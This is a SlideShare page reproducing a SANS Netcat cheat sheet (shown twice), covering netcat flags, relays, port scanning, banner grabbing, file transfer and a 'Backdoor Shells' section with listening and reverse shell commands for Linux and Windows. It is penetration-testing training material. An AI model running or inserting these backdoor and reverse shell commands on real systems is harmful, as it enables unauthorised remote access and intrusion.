SlideShare a Scribd company logo
1 of 2
Download to read offline
This cheat sheet provides various tips for
using Netcat on both Linux and Unix,
specifically tailored to the SANS 504, 517,
and 560 courses. All syntax is designed for
the original Netcat versions, released by
Hobbit and Weld Pond. The syntax here
can be adapted for other Netcats, including
ncat, gnu Netcat, and others.
$ nc [options] [TargetIPaddr] [port(s)]
The [TargetIPaddr] is simply the other side’s IP
address or domain name. It is required in client mode
of course (because we have to tell the client where to
connect), and is optional in listen mode.
-l: Listen mode (default is client mode)
-L: Listen harder (supported only on Windows
version of Netcat). This option makes Netcat a
persistent listener which starts listening again
after a client disconnects
-u: UDP mode (default is TCP)
-p: Local port (In listen mode, this is port listened
on. In client mode, this is source port for all
packets sent)
-e: Program to execute after connection occurs,
connecting STDIN and STDOUT to the
program
-n: Don’t perform DNS lookups on names of
machines on the other side
-z: Zero-I/O mode (Don’t send any data, just emit
a packet without payload)
-wN: Timeout for connects, waits for N seconds
after closure of STDIN. A Netcat client or
listener with this option will wait for N seconds
to make a connection. If the connection
doesn’t happen in that time, Netcat stops
running.
-v: Be verbose, printing out messages on
Standard Error, such as when a connection
occurs
-vv: Be very verbose, printing even more details
on Standard Error
Netcat Relays on Windows Netcat Command Flags
Purpose
Netcat
Cheat Sheet
By Ed Skoudis
POCKET REFERENCE GUIDE
http://www.sans.org
To start, enter a temporary directory where we will
create .bat files:
C:> cd c:temp
Listener-to-Client Relay:
C:> echo nc [TargetIPaddr] [port] >
relay.bat
C:> nc –l –p [LocalPort] –e relay.bat
Create a relay that sends packets from the local port
[LocalPort] to a Netcat Client connected to
[TargetIPaddr] on port [port]
Listener-to-Listener Relay:
C:> echo nc –l –p [LocalPort_2] >
relay.bat
C:> nc –l –p [LocalPort_1] –e
relay.bat
Create a relay that will send packets from any
connection on [LocalPort_1] to any connection
on [LocalPort_2]
Client-to-Client Relay:
C:> echo nc [NextHopIPaddr] [port2] >
relay.bat
C:> nc [PreviousHopIPaddr] [port] –e
relay.bat
Create a relay that will send packets from the
connection to [PreviousHopIPaddr] on port
[port] to a Netcat Client connected to
[NextHopIPaddr] on port [port2]
Fundamental Netcat Client:
$ nc [TargetIPaddr] [port]
Connect to an arbitrary port [port] at IP Address
[TargetIPaddr]
Fundamental Netcat Listener:
$ nc –l -p [LocalPort]
Create a Netcat listener on arbitrary local port
[LocalPort]
Both the client and listener take input from STDIN
and send data received from the network to STDOUT
Fundamentals
Grab the banner of any TCP service running on an IP
Address from Linux:
$ echo "" | nc –v –n –w1 [TargetIPaddr]
[start_port]-[end_port]
Attempt to connect to each port in a range from
[end_port] to [start_port] on IP Address
[TargetIPaddr] running verbosely (-v), not
resolving names (-n), and waiting no more than 1
second for a connection to occur (-w1). Then send a
blank string to the open port and print out any
banner received in response
Add –r to randomize destination ports within the
range
Add –p [port] to specify a source port for the
scan
Netcat Relays on LinuxTCP Banner Grabber
To start, create a FIFO (named pipe) called
backpipe:
$ cd /tmp
$ mknod backpipe p
Listener-to-Client Relay:
$ nc –l –p [LocalPort] 0<backpipe | nc
[TargetIPaddr] [port] | tee backpipe
Create a relay that sends packets from the local port
[LocalPort] to a Netcat client connected to
[TargetIPaddr] on port [port]
Listener-to-Listener Relay:
$ nc –l –p [LocalPort_1] 0<backpipe |
nc –l –p [LocalPort_2] | tee backpipe
Create a relay that sends packets from any
connection on [LocalPort_1] to any connection
on [LocalPort_2]
Client-to-Client Relay:
$ nc [PreviousHopIPaddr] [port]
0<backpipe | nc [NextHopIPaddr]
[port2] | tee backpipe
Create a relay that sends packets from the
connection to [PreviousHopIPaddr] on port
[port] to a Netcat client connected to
[NextHopIPaddr] on port [port2]
Listening backdoor shell on Linux:
$ nc –l –p [LocalPort] –e /bin/bash
Listening backdoor shell on Windows:
C:> nc –l –p [LocalPort] –e cmd.exe
Create a shell on local port [LocalPort] that can
then be accessed using a fundamental Netcat client
Reverse backdoor shell on Linux:
$ nc [YourIPaddr] [port] –e /bin/bash
Reverse backdoor shell on Windows:
C:> nc [YourIPaddr] [port] –e cmd.exe
Create a reverse shell that will attempt to connect to
[YourIPaddr] on local port [port]. This shell
can then be captured using a fundamental nc listener
Backdoor Shells
Push a file from client to listener:
$ nc –l -p [LocalPort] > [outfile]
Listen on [LocalPort], store results in [outfile]
$ nc –w3 [TargetIPaddr] [port] <
[infile]
Push [infile] to [TargetIPaddr] on [port]
Pull file from listener back to client:
$ nc –l -p [LocalPort] < [infile]
Listen on [LocalPort], prep to push [infile]
$ nc –w3 [TargetIPaddr] [port] >
[outfile]
Connect to [TargetIPaddr] on [port] and
retrieve [outfile]
File Transfer
Port scan an IP Address:
$ nc –v –n –z –w1 [TargetIPaddr]
[start_port]-[end_port]
Attempt to connect to each port in a range from
[end_port] to [start_port] on IP Address
[TargetIPaddr] running verbosely (-v on Linux, -
vv on Windows), not resolving names (-n), without
sending any data (-z), and waiting no more than 1
second for a connection to occur (-w1)
The randomize ports (-r) switch can be used to
choose port numbers randomly in the range
TCP Port Scanner

More Related Content

What's hot

Socket Programming using Java
Socket Programming using JavaSocket Programming using Java
Socket Programming using Java
Rahul Hada
 
A Short Java Socket Tutorial
A Short Java Socket TutorialA Short Java Socket Tutorial
A Short Java Socket Tutorial
Guo Albert
 

What's hot (20)

Socket programming
Socket programmingSocket programming
Socket programming
 
Ports & sockets
Ports  & sockets Ports  & sockets
Ports & sockets
 
Np unit2
Np unit2Np unit2
Np unit2
 
Socket Programming Tutorial
Socket Programming TutorialSocket Programming Tutorial
Socket Programming Tutorial
 
Np unit iii
Np unit iiiNp unit iii
Np unit iii
 
Elementary TCP Sockets
Elementary TCP SocketsElementary TCP Sockets
Elementary TCP Sockets
 
Np unit1
Np unit1Np unit1
Np unit1
 
Socket Programming using Java
Socket Programming using JavaSocket Programming using Java
Socket Programming using Java
 
Np unit iv ii
Np unit iv iiNp unit iv ii
Np unit iv ii
 
Docker-OVS
Docker-OVSDocker-OVS
Docker-OVS
 
Single Host Docker Networking
Single Host Docker NetworkingSingle Host Docker Networking
Single Host Docker Networking
 
Java Socket Programming
Java Socket ProgrammingJava Socket Programming
Java Socket Programming
 
A Short Java Socket Tutorial
A Short Java Socket TutorialA Short Java Socket Tutorial
A Short Java Socket Tutorial
 
IPC SOCKET
IPC SOCKETIPC SOCKET
IPC SOCKET
 
Java socket programming
Java socket programmingJava socket programming
Java socket programming
 
Docker Networking
Docker NetworkingDocker Networking
Docker Networking
 
Socket Programming
Socket ProgrammingSocket Programming
Socket Programming
 
20 common port numbers and their purposes
20 common port numbers and their purposes 20 common port numbers and their purposes
20 common port numbers and their purposes
 
Docker networking tutorial 102
Docker networking tutorial 102Docker networking tutorial 102
Docker networking tutorial 102
 
Network sockets
Network socketsNetwork sockets
Network sockets
 

Viewers also liked

Part6 Private Sector Concerns
Part6 Private Sector ConcernsPart6 Private Sector Concerns
Part6 Private Sector Concerns
CTIN
 
Sleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKINGSleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKING
Eduardo Chavarro
 
Raidprep
RaidprepRaidprep
Raidprep
CTIN
 
Translating Geek To Attorneys It Security
Translating Geek To Attorneys It SecurityTranslating Geek To Attorneys It Security
Translating Geek To Attorneys It Security
CTIN
 
Windows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-publicWindows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-public
CTIN
 
Computer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows RegistryComputer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows Registry
somutripathi
 
Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3
CTIN
 
Nra
NraNra
Nra
CTIN
 

Viewers also liked (20)

Part6 Private Sector Concerns
Part6 Private Sector ConcernsPart6 Private Sector Concerns
Part6 Private Sector Concerns
 
Disk forensics
Disk forensicsDisk forensics
Disk forensics
 
Sleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKINGSleuth kit by echavarro - HABEMUSHACKING
Sleuth kit by echavarro - HABEMUSHACKING
 
Raidprep
RaidprepRaidprep
Raidprep
 
File carving tools
File carving toolsFile carving tools
File carving tools
 
Windows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti ForensicsWindows 8 Forensics & Anti Forensics
Windows 8 Forensics & Anti Forensics
 
NTFS file system
NTFS file systemNTFS file system
NTFS file system
 
Digital forensic upload
Digital forensic uploadDigital forensic upload
Digital forensic upload
 
Translating Geek To Attorneys It Security
Translating Geek To Attorneys It SecurityTranslating Geek To Attorneys It Security
Translating Geek To Attorneys It Security
 
Social Media Forensics for Investigators
Social Media Forensics for InvestigatorsSocial Media Forensics for Investigators
Social Media Forensics for Investigators
 
Registry forensics
Registry forensicsRegistry forensics
Registry forensics
 
File system
File systemFile system
File system
 
Windows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-publicWindows 7 forensics jump lists-rv3-public
Windows 7 forensics jump lists-rv3-public
 
Become an Internet Sleuth!
Become an Internet Sleuth!Become an Internet Sleuth!
Become an Internet Sleuth!
 
Web and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News ProfessionalsWeb and Social Media Image Forensics for News Professionals
Web and Social Media Image Forensics for News Professionals
 
Windows forensic artifacts
Windows forensic artifactsWindows forensic artifacts
Windows forensic artifacts
 
Computer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows RegistryComputer Forensics &amp; Windows Registry
Computer Forensics &amp; Windows Registry
 
Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3Windows 7 forensics -overview-r3
Windows 7 forensics -overview-r3
 
Nra
NraNra
Nra
 
Windows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary ArtefactsWindows 10 Forensics: OS Evidentiary Artefacts
Windows 10 Forensics: OS Evidentiary Artefacts
 

Similar to Netcat cheat sheet

Netcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beemaNetcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beema
Raghunath G
 

Similar to Netcat cheat sheet (20)

Netcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army KnifeNetcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army Knife
 
Netcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beemaNetcat 101 by-mahesh-beema
Netcat 101 by-mahesh-beema
 
Net Programming.ppt
Net Programming.pptNet Programming.ppt
Net Programming.ppt
 
Network Prog.ppt
Network Prog.pptNetwork Prog.ppt
Network Prog.ppt
 
Client server
Client serverClient server
Client server
 
3-sdn-lab.pdf
3-sdn-lab.pdf3-sdn-lab.pdf
3-sdn-lab.pdf
 
Linux Network commands
Linux Network commandsLinux Network commands
Linux Network commands
 
DPDK in Containers Hands-on Lab
DPDK in Containers Hands-on LabDPDK in Containers Hands-on Lab
DPDK in Containers Hands-on Lab
 
OVS-NFV Tutorial
OVS-NFV TutorialOVS-NFV Tutorial
OVS-NFV Tutorial
 
20120521 - zeroMQ
20120521 - zeroMQ20120521 - zeroMQ
20120521 - zeroMQ
 
Docker networking Tutorial 101
Docker networking Tutorial 101Docker networking Tutorial 101
Docker networking Tutorial 101
 
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate028c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
 
Netcat
NetcatNetcat
Netcat
 
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/StableSR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
SR-IOV, KVM and Emulex OneConnect 10Gbps cards on Debian/Stable
 
IoT with openHAB on pcDuino3B
IoT with openHAB on pcDuino3BIoT with openHAB on pcDuino3B
IoT with openHAB on pcDuino3B
 
netLec5.pdf
netLec5.pdfnetLec5.pdf
netLec5.pdf
 
Kubernetes networking
Kubernetes networkingKubernetes networking
Kubernetes networking
 
Docker Networking with New Ipvlan and Macvlan Drivers
Docker Networking with New Ipvlan and Macvlan DriversDocker Networking with New Ipvlan and Macvlan Drivers
Docker Networking with New Ipvlan and Macvlan Drivers
 
Python networking
Python networkingPython networking
Python networking
 
Netcat
NetcatNetcat
Netcat
 

Recently uploaded

Recently uploaded (20)

A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 

Netcat cheat sheet

  • 1. This cheat sheet provides various tips for using Netcat on both Linux and Unix, specifically tailored to the SANS 504, 517, and 560 courses. All syntax is designed for the original Netcat versions, released by Hobbit and Weld Pond. The syntax here can be adapted for other Netcats, including ncat, gnu Netcat, and others. $ nc [options] [TargetIPaddr] [port(s)] The [TargetIPaddr] is simply the other side’s IP address or domain name. It is required in client mode of course (because we have to tell the client where to connect), and is optional in listen mode. -l: Listen mode (default is client mode) -L: Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener which starts listening again after a client disconnects -u: UDP mode (default is TCP) -p: Local port (In listen mode, this is port listened on. In client mode, this is source port for all packets sent) -e: Program to execute after connection occurs, connecting STDIN and STDOUT to the program -n: Don’t perform DNS lookups on names of machines on the other side -z: Zero-I/O mode (Don’t send any data, just emit a packet without payload) -wN: Timeout for connects, waits for N seconds after closure of STDIN. A Netcat client or listener with this option will wait for N seconds to make a connection. If the connection doesn’t happen in that time, Netcat stops running. -v: Be verbose, printing out messages on Standard Error, such as when a connection occurs -vv: Be very verbose, printing even more details on Standard Error Netcat Relays on Windows Netcat Command Flags Purpose Netcat Cheat Sheet By Ed Skoudis POCKET REFERENCE GUIDE http://www.sans.org To start, enter a temporary directory where we will create .bat files: C:> cd c:temp Listener-to-Client Relay: C:> echo nc [TargetIPaddr] [port] > relay.bat C:> nc –l –p [LocalPort] –e relay.bat Create a relay that sends packets from the local port [LocalPort] to a Netcat Client connected to [TargetIPaddr] on port [port] Listener-to-Listener Relay: C:> echo nc –l –p [LocalPort_2] > relay.bat C:> nc –l –p [LocalPort_1] –e relay.bat Create a relay that will send packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Client-to-Client Relay: C:> echo nc [NextHopIPaddr] [port2] > relay.bat C:> nc [PreviousHopIPaddr] [port] –e relay.bat Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2] Fundamental Netcat Client: $ nc [TargetIPaddr] [port] Connect to an arbitrary port [port] at IP Address [TargetIPaddr] Fundamental Netcat Listener: $ nc –l -p [LocalPort] Create a Netcat listener on arbitrary local port [LocalPort] Both the client and listener take input from STDIN and send data received from the network to STDOUT Fundamentals
  • 2. Grab the banner of any TCP service running on an IP Address from Linux: $ echo "" | nc –v –n –w1 [TargetIPaddr] [start_port]-[end_port] Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v), not resolving names (-n), and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out any banner received in response Add –r to randomize destination ports within the range Add –p [port] to specify a source port for the scan Netcat Relays on LinuxTCP Banner Grabber To start, create a FIFO (named pipe) called backpipe: $ cd /tmp $ mknod backpipe p Listener-to-Client Relay: $ nc –l –p [LocalPort] 0<backpipe | nc [TargetIPaddr] [port] | tee backpipe Create a relay that sends packets from the local port [LocalPort] to a Netcat client connected to [TargetIPaddr] on port [port] Listener-to-Listener Relay: $ nc –l –p [LocalPort_1] 0<backpipe | nc –l –p [LocalPort_2] | tee backpipe Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Client-to-Client Relay: $ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe Create a relay that sends packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat client connected to [NextHopIPaddr] on port [port2] Listening backdoor shell on Linux: $ nc –l –p [LocalPort] –e /bin/bash Listening backdoor shell on Windows: C:> nc –l –p [LocalPort] –e cmd.exe Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client Reverse backdoor shell on Linux: $ nc [YourIPaddr] [port] –e /bin/bash Reverse backdoor shell on Windows: C:> nc [YourIPaddr] [port] –e cmd.exe Create a reverse shell that will attempt to connect to [YourIPaddr] on local port [port]. This shell can then be captured using a fundamental nc listener Backdoor Shells Push a file from client to listener: $ nc –l -p [LocalPort] > [outfile] Listen on [LocalPort], store results in [outfile] $ nc –w3 [TargetIPaddr] [port] < [infile] Push [infile] to [TargetIPaddr] on [port] Pull file from listener back to client: $ nc –l -p [LocalPort] < [infile] Listen on [LocalPort], prep to push [infile] $ nc –w3 [TargetIPaddr] [port] > [outfile] Connect to [TargetIPaddr] on [port] and retrieve [outfile] File Transfer Port scan an IP Address: $ nc –v –n –z –w1 [TargetIPaddr] [start_port]-[end_port] Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address [TargetIPaddr] running verbosely (-v on Linux, - vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1) The randomize ports (-r) switch can be used to choose port numbers randomly in the range TCP Port Scanner